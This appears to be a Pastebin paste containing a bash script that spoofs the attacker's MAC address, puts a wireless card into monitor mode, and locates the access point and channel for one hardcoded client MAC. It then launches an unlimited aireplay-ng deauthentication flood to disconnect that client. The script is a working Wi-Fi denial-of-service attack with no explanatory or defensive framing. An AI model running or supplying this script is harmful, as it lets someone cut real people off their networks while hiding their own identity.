Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- pc=00:22:5F:0D:31:03
- if ifconfig -a | grep wlan1 > /dev/null ; then
- int=wlan1
- else
- int=wlan0
- fi
- ifconfig $int down
- macchanger -r $int > /dev/null
- ifconfig $int up
- rm -R DeAuth*
- if airmon-ng | grep mon0 > /dev/null ; then
- echo Found mon0
- else
- airmon-ng start $int > /dev/null
- fi
- airodump-ng --write DeAuth mon0
- mac=$(cat DeAuth-01.csv | tail -50 | grep $pc | cut -d, -f6)
- channel=$(cat DeAuth-01.csv | tail -50 | grep $mac | cut -d, -f4 | head -1)
- echo $channel $mac $int $pc >> a.txt
- iwconfig $int channel $channel
- aireplay-ng --deauth 0 -a $mac -c $pc mon0
- airmon-ng stop mon0
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement